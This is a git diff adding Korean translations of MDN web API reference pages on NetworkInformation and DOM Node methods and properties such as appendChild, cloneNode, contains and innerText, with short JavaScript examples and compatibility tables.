+ + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{ CompatNo() }}12.0 {{ property_prefix("moz") }} (see notes){{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}
+
+

Gecko 관련 내용

+ +

관련 내용

+ diff --git a/files/ko/web/api/networkinformation/index.html b/files/ko/web/api/networkinformation/index.html new file mode 100644 index 0000000000..5bcdd84c8f --- /dev/null +++ b/files/ko/web/api/networkinformation/index.html @@ -0,0 +1,90 @@ +--- +title: NetworkInformation +slug: Web/API/NetworkInformation +tags: + - API +translation_of: Web/API/NetworkInformation +--- +
{{APIRef("Network Information API")}}{{SeeCompatTable}}
+ +

The NetworkInformation interface provides information about the connection a device is using to communicate with the network and provides a means for scripts to be notified if the connection type changes. The NetworkInformation interfaces cannot be instantiated. It is instead accessed through the connection property of the {{domxref("Navigator")}} interface.

+ +

{{AvailableInWorkers}}

+ +

Properties

+ +

This interface also inherits properties of its parent, {{domxref("EventTarget")}}.

+ +
+
+
    +
+
+
{{domxref("NetworkInformation.downlink")}} {{readonlyinline}}
+
Returns the effective bandwidth estimate in megabits per second, rounded to the nearest multiple of 25 kilobits per seconds.
+
{{domxref("NetworkInformation.downlinkMax")}} {{readonlyinline}}
+
Returns the maximum downlink speed, in megabits per second (Mbps), for the underlying connection technology.
+
{{domxref("NetworkInformation.effectiveType")}} {{readonlyinline}}
+
Returns the effective type of the connection meaning one of 'slow-2g', '2g', '3g', or '4g'. This value is determined using a combination of recently observed round-trip time and downlink values.
+
{{domxref("NetworkInformation.rtt")}} {{readonlyinline}}
+
Returns the estimated effective round-trip time of the current connection, rounded to the nearest multiple of 25 milliseconds.
+
{{domxref("NetworkInformation.saveData")}} {{readonlyinline}}
+
Returns true if the user has set a reduced data usage option on the user agent.
+
{{domxref("NetworkInformation.type")}} {{readonlyinline}}
+
Returns the type of connection a device is using to communicate with the network. It will be one of the following values: +
    +
  • bluetooth
  • +
  • cellular
  • +
  • ethernet
  • +
  • none
  • +
  • wifi
  • +
  • wimax
  • +
  • other
  • +
  • unknown
  • +
+
+
+ +

Event handlers

+ +
+
{{domxref("NetworkInformation.onchange")}}
+
The event that's fired when connection information changes and the {{event("change")}} is fired on this object.
+
+ +

Methods

+ +

This interface also inherits methods of its parent, {{domxref("EventTarget")}}.

+ +

Specifications

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Network Information', '#-dfn-networkinformation-dfn-interface', 'NetworkInformation')}}{{Spec2('Network Information')}}Initial definition
+ +

Browser compatibility

+ + + +

{{Compat("api.NetworkInformation")}}

+ +

See also

+ + diff --git a/files/ko/web/api/node/appendchild/index.html b/files/ko/web/api/node/appendchild/index.html new file mode 100644 index 0000000000..991c1f6136 --- /dev/null +++ b/files/ko/web/api/node/appendchild/index.html @@ -0,0 +1,125 @@ +--- +title: Node.appendChild() +slug: Web/API/Node/appendChild +tags: + - 노드 붙이기 + - 노드 이동 + - 돔 +translation_of: Web/API/Node/appendChild +--- +
{{APIRef("DOM")}}
+ +

Node.appendChild() 메소드는 한 노드를 특정 부모 노드의 자식 노드 리스트 중 마지막 자식으로 붙입니다. 만약 주어진 노드가 이미 문서에 존재하는 노드를 참조하고 있다면 appendChild() 메소드는 노드를 현재 위치에서 새로운 위치로 이동시킵니다. (문서에 존재하는 노드를 다른 곳으로 붙이기 전에 부모 노드로 부터 지워버릴 필요는 없습니다.)

+ +

이것은 한 노드가 문서상의 두 지점에 동시에 존재할 수 없다는 것을 의미합니다. 그래서 만약 노드가 이미 부모를 가지고 있다면 우선 삭제되고 새로운 위치로 이동합니다. 

+ +

{{domxref("Node.cloneNode()")}} 메소드는 노드가 새로운 부모의 밑으로 붙기 전에 노드를 복제합니다.  cloneNode 메소드로 만들어진 복사된 노드들은 자동적으로 문서에 적용되지 않는다는 것에 주의하세요.

+ +

이 메소드는 서로 다른 문서로 노드를 이동시키진 못합니다. 만약 노드를  다른 문서로 이동시키고 싶다면 {{domxref("document.importNode()")}} 메소드를 사용하셔야 합니다.

+ +

Syntax

+ +
var aChild = element.appendChild(aChild);
+ +

이동한 자식 노드를 반환합니다.

+ +

Example

+ +
// 새로운 단락 요소를 생성하고 문서에 있는 바디 요소의 끝에 붙입니다.
+var p = document.createElement("p");
+document.body.appendChild(p);
+ +

Specifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM WHATWG', '#dom-node-appendchild', 'Node.appendChild()')}}{{Spec2('DOM WHATWG')}}No change from {{SpecName("DOM3 Core")}}.
{{SpecName('DOM3 Core', 'core.html#ID-184E7107', 'Node.appendChild()')}}{{Spec2('DOM3 Core')}}No change from {{SpecName("DOM2 Core")}}.
{{SpecName('DOM2 Core', 'core.html#ID-184E7107', 'Node.appendChild()')}}{{Spec2('DOM2 Core')}}No change from {{SpecName("DOM1")}}.
{{SpecName('DOM1', 'level-one-core.html#ID-184E7107', 'Node.appendChild()')}}{{Spec2('DOM1')}}Initial definition.
+ +

Browser compatibility

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatVersionUnknown}}{{CompatGeckoDesktop("1.0")}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}}{{CompatGeckoMobile("1.0")}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +

 

+ +

See also

+ + diff --git a/files/ko/web/api/node/childnodes/index.html b/files/ko/web/api/node/childnodes/index.html new file mode 100644 index 0000000000..b57a8eabc3 --- /dev/null +++ b/files/ko/web/api/node/childnodes/index.html @@ -0,0 +1,51 @@ +--- +title: element.childNodes +slug: Web/API/Node/childNodes +tags: + - DOM + - Gecko + - Gecko DOM Reference +translation_of: Web/API/Node/childNodes +--- +

{{ ApiRef() }}

+

요약

+

childNodes는 주어진 요소의 자식 노드 모음( + + collection + )을 반환합니다.

+

구문과 값

+
var ndList = elementNodeReference.childNodes;
+
+

ndList는 현재 요소의 자식인 노드 개체의 순서 있는 모음입니다. 요소가 자식이 없으면, ndList는 아무 노드도 포함하지 않습니다.

+

ndList는 childNodes의 노드 목록을 저장하는 변수입니다. 그 목록은 NodeList 형입니다. childNodes 속성은 읽기 전용입니다.

+

+
// parg는 <p> 요소 개체 참조
+if (parg.hasChildNodes())
+// 그래서, 먼저 개체가 찼는 지(자식 노드가 있는 지) 검사
+ {
+   var children = parg.childNodes;
+   for (var i = 0; i < children.length; i++)
+   {
+   // children[i]로 각 자식에 무언가를 함
+   // 주의: 목록은 유효해(live), 자식 추가나 제거는 목록을 바꿈
+   };
+ };
+
+
// This는 노드에서 모든 자식을 제거하는 한 방법
+// box는 자식 있는 요소 개체 참조
+while (box.firstChild)
+ {
+    //목록은 유효해서(LIVE) 호출마다 재배열(re-index)함
+    box.removeChild(box.firstChild);
+ };
+
+

주의

+

노드 모음의 항목은 문자열이 아니라 개체입니다. 그 노드 개체에서 데이터를 얻으려면, 속성(예컨대 이름을 얻으려면 elementNodeReference.childNodes{{ mediawiki.external(1) }}.nodeName 등)을 써야 합니다.

+

document 개체는 자식이 둘입니다. Doctype 선언과 HTML 요소.

+

명세

+ +

{{ languages( { "en": "en/DOM/element.childNodes", "fr": "fr/DOM/element.childNodes", "pl": "pl/DOM/element.childNodes" } ) }}

diff --git a/files/ko/web/api/node/clonenode/index.html b/files/ko/web/api/node/clonenode/index.html new file mode 100644 index 0000000000..36e4c8e0d5 --- /dev/null +++ b/files/ko/web/api/node/clonenode/index.html @@ -0,0 +1,160 @@ +--- +title: Node.cloneNode() +slug: Web/API/Node/cloneNode +translation_of: Web/API/Node/cloneNode +--- +
{{APIRef("DOM")}}
+ +
Node.cloneNode() 메서드는 이 메서드를 호출한 Node 의 복제된 Node를 반환합니다.
+ +

Syntax

+ +
var dupNode = node.cloneNode(deep);
+
+ +
+
node
+
복제되어야 할 node.
+
dupNode
+
복제된 새로운 node.
+
deep {{optional_inline}}
+
해당 node의 children 까지 복제하려면 true, 해당 node 만 복제하려면 false
+
+ +
+

Note: In the DOM4 specification (as implemented in Gecko 13.0 {{geckoRelease(13)}}), deep is an optional argument. If omitted, the method acts as if the value of deep was true, defaulting to using deep cloning as the default behavior. To create a shallow clone, deep must be set to false.

+ +

This behavior has been changed in the latest spec, and if omitted, the method will act as if the value of deep was false. Though It's still optional, you should always provide the deep argument both for backward and forward compatibility. With Gecko 28.0 {{geckoRelease(28)}}), the console warned developers not to omit the argument. Starting with Gecko 29.0 {{geckoRelease(29)}}), a shallow clone is defaulted instead of a deep clone.

+
+ +

Example

+ +
var p = document.getElementById("para1");
+var p_prime = p.cloneNode(true);
+
+ +

Notes

+ +

Cloning a node copies all of its attributes and their values, including intrinsic (in–line) listeners. It does not copy event listeners added using addEventListener() or those assigned to element properties. (e.g. node.onclick = fn) Moreover, for a <canvas> element, the painted image is not copied.

+ +

The duplicate node returned by cloneNode() is not part of the document until it is added to another node that is part of the document using {{domxref("Node.appendChild()")}} or a similar method. It also has no parent until it is appended to another node.

+ +

If deep is set to false, child nodes are not cloned. Any text that the node contains is not cloned either, as it is contained in one or more child {{domxref("Text")}} nodes.

+ +

If deep evaluates to true, the whole subtree (including text that may be in child {{domxref("Text")}} nodes) is copied too. For empty nodes (e.g. {{HTMLElement("img")}} and {{HTMLElement("input")}} elements) it doesn't matter whether deep is set to true or false.

+ +
Warning: cloneNode() may lead to duplicate element IDs in a document.
+ +

If the original node has an ID and the clone is to be placed in the same document, the ID of the clone should be modified to be unique. Name attributes may need to be modified also, depending on whether duplicate names are expected.

+ +

To clone a node for appending to a different document, use {{domxref("Document.importNode()")}} instead.

+ +

Specifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("DOM WHATWG", "#dom-node-clonenode", "Node.cloneNode()")}}{{Spec2("DOM WHATWG")}} 
{{SpecName("DOM3 Core", "core.html#ID-3A0ED0A4", "Node.cloneNode()")}}{{Spec2("DOM3 Core")}} 
{{SpecName("DOM2 Core", "core.html#ID-3A0ED0A4", "Node.cloneNode()")}}{{Spec2("DOM2 Core")}}Initial definition
+ +

Browser compatibility

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
deep as an optional parameter +

{{CompatVersionUnknown}}[1]

+
{{CompatVersionUnknown}}{{CompatGeckoDesktop("13.0")}}{{CompatVersionUnknown}}{{CompatUnknown}} +

{{CompatVersionUnknown}}[1]

+
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidEdgeFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
deep as an optional parameter{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatGeckoMobile("13.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +

[1] Default value for the deep parameter is false.

diff --git a/files/ko/web/api/node/contains/index.html b/files/ko/web/api/node/contains/index.html new file mode 100644 index 0000000000..982c26ae4c --- /dev/null +++ b/files/ko/web/api/node/contains/index.html @@ -0,0 +1,105 @@ +--- +title: Node.contains() +slug: Web/API/Node/contains +translation_of: Web/API/Node/contains +--- +
{{APIRef("DOM")}}
+ +

Node.contains() 메소드는 주어진 인자가 node 의 자손인지, 아닌지에 대한 {{jsxref("Boolean")}} 값을 리턴합니다.

+ +

Syntax

+ +
node.contains( otherNode )
+
+ +

Example

+ +

이 함수는 요소가 페이지의 body 안에 있는지 검사합니다.  contains 는 포괄적이므로 node 가 body 자기 자신일 경우에도 true 가 반환됩니다. 만약 이걸 원하지 않는 경우에는 node 가 body 자기 자신인지 검사하여  false 를 반환하여 버리면 됩니다.

+ +
function isInPage(node) {
+  return (node === document.body) ? false : document.body.contains(node);
+}
+ +

Specifications

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("DOM WHATWG", "#dom-node-contains", "Node.contains()")}}{{Spec2("DOM WHATWG")}}Initial definition
+ +

Browser compatibility

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatGeckoDesktop("9.0")}}5.0[1]{{CompatVersionUnknown}}3.0[2]
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidEdgeFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatUnknown}}{{CompatVersionUnknown}}{{CompatGeckoMobile("9.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +

[1] Internet Explorer only supports contains() for elements.

+ +

[2] Safari 2.x implemented contains() incorrectly.

+ +

See also

+ + diff --git a/files/ko/web/api/node/firstchild/index.html b/files/ko/web/api/node/firstchild/index.html new file mode 100644 index 0000000000..105c335e1c --- /dev/null +++ b/files/ko/web/api/node/firstchild/index.html @@ -0,0 +1,67 @@ +--- +title: element.firstChild +slug: Web/API/Node/firstChild +tags: + - DOM + - Gecko +translation_of: Web/API/Node/firstChild +--- +

{{ ApiRef() }}

+ +

요약

+ +

트리에서 노드의 첫 번째 자식이나 null(노드가 자식이 없으면)을 반환합니다.

+ +

구문

+ +
childNode =node.firstChild;
+
+ +

childNode는 자식이 있으면 node의 첫 번째 자식 참조이고 없으면 null입니다.

+ +

+ +

이 예는 firstChild의 쓰임과 공백 노드가 어떻게 이 프로퍼티 사용을 방해하는 지 실제로 보입니다. Gecko DOM에서 공백 처리에 관한 더 많은 정보는 {{ Anch("Notes") }} 절을 보세요.

+ +
<p id="para-01">
+  <span>First span</span>
+</p>
+
+<script type="text/javascript">
+  var p01 = document.getElementById('para-01');
+  alert(p01.firstChild.nodeName)
+</script>
+
+ +

위에서, alert은 텍스트 노드가 여는 태그 <p>의 끝과 여는 태그 <span> 사이에 공백을 유지하여 삽입되었기 때문에 '#text'를 보입니다. space 하나에서 여럿, return, tab 등 어떤 공백이든 #text 노드에 삽입되게 됩니다.

+ +

다른 #text 노드는 닫는 태그 </span>과 닫는 태그 </p> 사이에 삽입됩니다.

+ +

이 공백을 소스에서 제거하면, #text 노드는 삽입되지 않고 span 요소가 paragraph의 첫 번째 자식이 됩니다.

+ +
<p id="para-01"><span>First span</span></p>
+
+<script type="text/javascript">
+  var p01 = document.getElementById('para-01');
+  alert(p01.firstChild.nodeName)
+</script>
+
+ +

이제 alert은 'SPAN'을 보입니다.

+ +

주의

+ +

Gecko 기반 브라우저는 소스 마크업에서 공백을 나타내기 위해 문서 내에 텍스트 노드를 삽입합니다. + 그러므로 예를 들어 Node.firstChildNode.previousSibling을 통해서 얻은 노드는 작성자가 얻으려 한 실제 요소와는 + 달리 공백 텍스트 노드를 참조할 지도 모릅니다.

+ +

더 많은 정보는 Whitespace in the DOM과 + W3C DOM 3 FAQ: Why are some Text nodes empty?를 보세요.

+ +

명세

+ +

DOM Level 1 Core: firstChild

+ +

DOM Level 2 Core: firstChild

+ +

{{ languages( { "en": "en/DOM/element.firstChild", "fr": "fr/DOM/element.firstChild", "pl": "pl/DOM/element.firstChild" } ) }}

diff --git a/files/ko/web/api/node/haschildnodes/index.html b/files/ko/web/api/node/haschildnodes/index.html new file mode 100644 index 0000000000..eff203c8a8 --- /dev/null +++ b/files/ko/web/api/node/haschildnodes/index.html @@ -0,0 +1,42 @@ +--- +title: Node.hasChildNodes() +slug: Web/API/Node/hasChildNodes +tags: + - API + - DOM + - Method + - Node +translation_of: Web/API/Node/hasChildNodes +--- +
+
{{APIRef("DOM")}}
+
+ +

Node.hasChildNodes() 메소드는 현재 노드({{domxref("Node")}})에게 자식노드(child nodes)가 있는지를 {{jsxref("Boolean")}} 값으로 반환합니다.

+ +

구문

+ +
node.hasChildNodes()
+ +

예시

+ +

아래 예시에서는 "foo"라는 id를 가진 요소를 찾고 "foo" 요소에게 자식노드가 있으면 첫번째 자식노드를 제거해줍니다.

+ +
var foo = document.getElementById("foo");
+
+if ( foo.hasChildNodes() ) {
+  foo.removeChild( foo.childNodes[0] );
+}
+ +

명세

+ + + +

같이 보기

+ + diff --git a/files/ko/web/api/node/index.html b/files/ko/web/api/node/index.html new file mode 100644 index 0000000000..ed301eff02 --- /dev/null +++ b/files/ko/web/api/node/index.html @@ -0,0 +1,263 @@ +--- +title: Node +slug: Web/API/Node +tags: + - DOM + - Node +translation_of: Web/API/Node +--- +
{{APIRef("DOM")}}
+ +

Node는 여러 가지 DOM 타입들이 상속하는 인터페이스이며 그 다양한 타입들을 비슷하게 처리할 수 있게 한다. 예를들어, 똑같은 메소드를 상속하거나 똑같은 방식으로 테스트를 할수있다

+ +

다음의 인터페이스들은 모두 Node로부터 메소드와 프라퍼티를 상속한다: {{domxref("Document")}}, {{domxref("Element")}}, {{domxref("CharacterData")}} ({{domxref("Text")}}, {{domxref("Comment")}}, {{domxref("CDATASection")}}이 상속), {{domxref("ProcessingInstruction")}}, {{domxref("DocumentFragment")}}, {{domxref("DocumentType")}}, {{domxref("Notation")}}, {{domxref("Entity")}}, {{domxref("EntityReference")}}

+ +

이 인터페이스들은 메소드나 프라퍼티가 적합하지 않은 경우에 null을 반환할 수 있다. 그들은 예외를 발생할 수 있다 - 예를 들어 자식이 있을 수 없는 노드 타입에 자식을 추가할 때 말이다.

+ +

프라퍼티 <속성>

+ +

부모인 {{domxref("EventTarget")}}으로부터 프라퍼티를 상속한다.[1]

+ +
+
{{domxref("Node.baseURI")}} {{readonlyInline}}
+
Returns a {{domxref("DOMString")}} representing the base URL. The concept of base URL changes from one language to another; in HTML, it corresponds to the protocol, the domain name and the directory structure, that is all until the last '/'.
+
{{domxref("Node.baseURIObject")}} {{Non-standard_inline()}} {{ Fx_minversion_inline("3") }}
+
(Not available to web content.) The read-only {{ Interface("nsIURI") }} object representing the base URI for the element.
+
{{domxref("Node.childNodes")}} {{readonlyInline}}
+
Returns a live {{domxref("NodeList")}} containing all the children of this node. {{domxref("NodeList")}} being live means that if the children of the Node change, the {{domxref("NodeList")}} object is automatically updated.
+
{{domxref("Node.firstChild")}} {{readonlyInline}}
+
Returns a {{domxref("Node")}} representing the first direct child node of the node, or null if the node has no child.
+
{{domxref("Node.lastChild")}} {{readonlyInline}}
+
Returns a {{domxref("Node")}} representing the last direct child node of the node, or null if the node has no child.
+
{{domxref("Node.localName")}} {{obsolete_inline}}{{readonlyInline}}
+
Returns a {{domxref("DOMString")}} representing the local part of the qualified name of an element. In Firefox 3.5 and earlier, the property upper-cases the local name for HTML elements (but not XHTML elements). In later versions, this does not happen, so the property is in lower case for both HTML and XHTML. {{ gecko_minversion_inline("1.9.2") }}
+ Though recent specifications require localName to be defined on the {{domxref("Element")}} interface, Gecko-based browsers still implement it on the {{domxref("Node")}} interface.
+
{{domxref("Node.namespaceURI")}} {{obsolete_inline}}{{readonlyInline}}
+
The namespace URI of this node, or null if it is no namespace. In Firefox 3.5 and earlier, HTML elements are in no namespace. In later versions, HTML elements are in the http://www.w3.org/1999/xhtml namespace in both HTML and XML trees. {{ gecko_minversion_inline("1.9.2") }}
+ Though recent specifications require namespaceURI to be defined on the {{domxref("Element")}} interface, Gecko-based browsers still implement it on the {{domxref("Node")}} interface.
+
{{domxref("Node.nextSibling")}} {{readonlyInline}}
+
Returns a {{domxref("Node")}} representing the next node in the tree, or null if there isn't such node.
+
{{domxref("Node.nodeName")}} {{readonlyInline}}
+
Returns a {{domxref("DOMString")}} containing the name of the Node. The structure of the name will differ with the name type. E.g. An {{domxref("HTMLElement")}} will contain the name of the corresponding tag, like 'audio' for an {{domxref("HTMLAudioElement")}}, a {{domxref("Text")}} node will have the '#text' string, or a {{domxref("Document")}} node will have the '#document' string.
+
{{domxref("Node.nodePrincipal")}} {{Non-standard_inline()}}{{ Fx_minversion_inline("3") }}
+
A {{ Interface("nsIPrincipal") }} representing the node principal.
+
{{domxref("Node.nodeType")}}{{readonlyInline}}
+
Returns an unsigned short representing the type of the node. Possible values are: + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameValue
ELEMENT_NODE1
ATTRIBUTE_NODE {{deprecated_inline()}}2
TEXT_NODE3
CDATA_SECTION_NODE {{deprecated_inline()}}4
ENTITY_REFERENCE_NODE {{deprecated_inline()}}5
ENTITY_NODE {{deprecated_inline()}}6
PROCESSING_INSTRUCTION_NODE7
COMMENT_NODE8
DOCUMENT_NODE9
DOCUMENT_TYPE_NODE10
DOCUMENT_FRAGMENT_NODE11
NOTATION_NODE {{deprecated_inline()}}12
+
+
{{domxref("Node.nodeValue")}}
+
Is a {{domxref("DOMString")}} representing the value of an object. For most Node type, this returns null and any set operation is ignored. For nodes of type TEXT_NODE ({{domxref("Text")}} objects), COMMENT_NODE ({{domxref("Comment")}} objects), and PROCESSING_INSTRUCTION_NODE ({{domxref("ProcessingInstruction")}} objects), the value corresponds to the text data contained in the object.
+
{{domxref("Node.ownerDocument")}} {{readonlyInline}}
+
Returns the {{domxref("Document")}} that this node belongs to. If no document is associated with it, returns null.
+
{{domxref("Node.parentNode")}} {{readonlyInline}}
+
Returns a {{domxref("Node")}} that is the parent of this node. If there is no such node, like if this node is the top of the tree or if doesn't participate in a tree, this property returns null.
+
{{domxref("Node.parentElement")}} {{readonlyInline}}
+
Returns an {{domxref("Element")}} that is the parent of this node. If the node has no parent, or if that parent is not an {{domxref("Element")}}, this property returns null.
+
{{domxref("Node.prefix")}} {{obsolete_inline}}{{readonlyInline}}
+
Is a {{domxref("DOMString")}} representing the namespace prefix of the node, or null if no prefix is specified.
+ Though recent specifications require prefix to be defined on the {{domxref("Element")}} interface, Gecko-based browsers still implement it on the {{domxref("Node")}} interface.
+
{{domxref("Node.previousSibling")}} {{readonlyInline}}
+
Returns a {{domxref("Node")}} representing the previous node in the tree, or null if there isn't such node.
+
{{domxref("Node.textContent")}}
+
Is a {{domxref("DOMString")}} representing the textual content of an element and all its descendants.
+
+ +

메소드

+ +

부모인 {{domxref("EventTarget")}}으로부터 메소드를 상속한다.[1]

+ +
+
{{domxref("Node.appendChild()")}}
+
Insert a {{domxref("Node")}} as the last child node of this element.
+
{{domxref("Node.cloneNode()")}}
+
Clone a {{domxref("Node")}}, and optionally, all of its contents. By default, it clones the content of the node.
+
{{domxref("Node.compareDocumentPosition()")}}
+
+
{{domxref("Node.contains()")}}
+
+
{{domxref("Node.getFeature()")}} {{obsolete_inline}}
+
...
+
{{domxref("Node.getUserData()")}} {{obsolete_inline}}
+
Allows a user to get some {{domxref("DOMUserData")}} from the node.
+
{{domxref("Node.hasAttributes()")}} {{obsolete_inline}}
+
Returns a {{domxref("Boolean")}} indicating if the element has any attributes, or not.
+
{{domxref("Node.hasChildNodes()")}}
+
Returns a {{domxref("Boolean")}} indicating if the element has any child nodes, or not.
+
{{domxref("Node.insertBefore()")}}
+
Inserts the first {{domxref("Node")}} given in a parameter immediately before the second, child of this element, {{domxref("Node")}}.
+
{{domxref("Node.isDefaultNamespace()")}}
+
+
{{domxref("Node.isEqualNode()")}}
+
+
{{domxref("Node.isSameNode()")}} {{obsolete_inline}}
+
+
{{domxref("Node.isSupported()")}} {{obsolete_inline}}
+
Returns a Boolean flag containing the result of a test whether the DOM implementation implements a specific feature and this feature is supported by the specific node.
+
{{domxref("Node.lookupPrefix()")}}
+
+
{{domxref("Node.lookupNamespaceURI()")}}
+
+
{{domxref("Node.normalize()")}}
+
Clean up all the text nodes under this element (merge adjacent, remove empty).
+
{{domxref("Node.removeChild()")}}
+
Removes a child node from the current element, which must be a child of the current node.
+
{{domxref("Node.replaceChild()")}}
+
Replaces one child {{domxref("Node")}} of the current one with the second one given in parameter.
+
{{domxref("Node.setUserData()")}} {{obsolete_inline}}
+
Allows a user to attach, or remove, {{domxref("DOMUserData")}} to the node.
+
+ +

예제

+ +

모든 자식 노드 탐색

+ +

The following function recursively cycles all child nodes of a node and executes a callback function upon them (and upon the parent node itself).

+ +
function DOMComb (oParent, oCallback) {
+  if (oParent.hasChildNodes()) {
+    for (var oNode = oParent.firstChild; oNode; oNode = oNode.nextSibling) {
+      DOMComb(oNode, oCallback);
+    }
+  }
+  oCallback.call(oParent);
+}
+ +

Syntax

+ +
DOMComb(parentNode, callbackFunction);
+ +

Description

+ +

Recursively cycle all child nodes of parentNode and parentNode itself and execute the callbackFunction upon them as this objects.

+ +

Parameters

+ +
+
parentNode
+
The parent node (Node Object).
+
callbackFunction
+
The callback function (Function).
+
+ +

Sample usage

+ +

The following example send to the console.log the text content of the body:

+ +
function printContent () {
+  if (this.nodeValue) { console.log(this.nodeValue); }
+}
+
+onload = function () {
+  DOMComb(document.body, printContent);
+};
+ +

한 노드 안에 중첩된 모든 자식 제거

+ +
Element.prototype.removeAll = function () {
+  while (this.firstChild) { this.removeChild(this.firstChild); }
+  return this;
+};
+ +

Sample usage

+ +
/* ... an alternative to document.body.innerHTML = "" ... */
+document.body.removeAll();
+ +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
명세상태주석
{{SpecName('DOM WHATWG', '#interface-node', 'Node')}}{{Spec2('DOM WHATWG')}}Removed the following properties: attributes, namespaceURI, prefix, and localName.
+ Removed the following methods: isSupported(), hasAttributes(), isSameNode(), getFeature(), setUserData(), and getUserData().
{{SpecName('DOM3 Core', 'core.html#ID-1950641247', 'Node')}}{{Spec2('DOM3 Core')}}The methods insertBefore(), replaceChild(), removeChild(), and appendChild() returns one more kind of error (NOT_SUPPORTED_ERR) if called on a {{domxref("Document")}}.
+ The normalize() method has been modified so that {{domxref("Text")}} node can also be normalized if the proper {{domxref("DOMConfiguration")}} flag is set.
+ Added the following methods: compareDocumentPosition(), isSameNode(), lookupPrefix(), isDefaultNamespace(), lookupNamespaceURI(), isEqualNode(), getFeature(), setUserData(), and getUserData().
+ Added the following properties: baseURI and textContent.
{{SpecName('DOM2 Core', 'core.html#ID-1950641247', 'Node')}}{{Spec2('DOM2 Core')}}The ownerDocument property was slightly modified so that {{domxref("DocumentFragment")}} also returns null.
+ Added the following properties: namespaceURI, prefix, and localName.
+ Added the following methods: normalize(), isSupported() and hasAttributes().
{{SpecName('DOM1', 'level-one-core.html#ID-1950641247', 'Node')}}{{Spec2('DOM1')}}Initial definition.
+ +

브라우저 호환성

+ +

{{Compat("api.Node")}}

diff --git a/files/ko/web/api/node/innertext/index.html b/files/ko/web/api/node/innertext/index.html new file mode 100644 index 0000000000..414fab5c00 --- /dev/null +++ b/files/ko/web/api/node/innertext/index.html @@ -0,0 +1,88 @@ +--- +title: Node.innerText +slug: Web/API/Node/innerText +tags: + - API + - DOM + - HTMLElement + - Property + - Reference +translation_of: Web/API/HTMLElement/innerText +--- +
{{APIRef("HTML DOM")}}
+ +

{{domxref("HTMLElement")}} 인터페이스의 innerText 속성은 요소와 그 자손의 렌더링 된 텍스트 콘텐츠를 나타냅니다. innerText는 사용자가 커서를 이용해 요소의 콘텐츠를 선택하고 클립보드에 복사했을 때 얻을 수 있는 텍스트의 근삿값을 제공합니다.

+ +
+

참고: innerText는 {{domxref("Node.textContent")}}와 혼동하기 쉬우나 중요한 차이점을 가지고 있습니다. 기본적으로, innerText는 텍스트의 렌더링 후 모습을 인식할 수 있지만 textContent는 그렇지 않습니다.

+
+ +

구문

+ +
const renderedText = htmlElement.innerText
+htmlElement.innerText = string
+
+ +

+ +

요소의 렌더링 된 텍스트 콘텐츠를 나타내는 {{domxref("DOMString")}}. 요소 자체가 렌더링 중이 아니라면 {{domxref("Node.textContent")}} 속성의 값과 동일합니다.

+ +

예제

+ +

다음 예제는 innerText와 {{domxref("Node.textContent")}}를 비교합니다. innerText가 {{htmlElement("br")}} 태그를 인식하고, 숨겨진 요소를 무시하는 점에 주목하세요.

+ +

HTML

+ +
<h3>원본 요소:</h3>
+<p id="source">
+  <style>#source { color: red; }</style>
+아래에서<br>이 글을<br>어떻게 인식하는지 살펴보세요.
+  <span style="display:none">숨겨진 글</span>
+</p>
+<h3>textContent 결과:</h3>
+<textarea id="textContentOutput" rows="6" cols="30" readonly>...</textarea>
+<h3>innerText 결과:</h3>
+<textarea id="innerTextOutput" rows="6" cols="30" readonly>...</textarea>
+ +

JavaScript

+ +
const source = document.getElementById('source');
+const textContentOutput = document.getElementById('textContentOutput');
+const innerTextOutput = document.getElementById('innerTextOutput');
+
+textContentOutput.innerHTML = source.textContent;
+innerTextOutput.innerHTML = source.innerText;
+ +

결과

+ +

{{EmbedLiveSample("예제", 700, 450)}}

+ +

명세

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', 'dom.html#the-innertext-idl-attribute', 'innerText')}}{{Spec2('HTML WHATWG')}}Introduced, based on the draft of the innerText specification. See whatwg/html#465 and whatwg/compat#5 for history.
+ +

브라우저 호환성

+ + + +

{{Compat("api.HTMLElement.innerText")}}

+ +

같이 보기

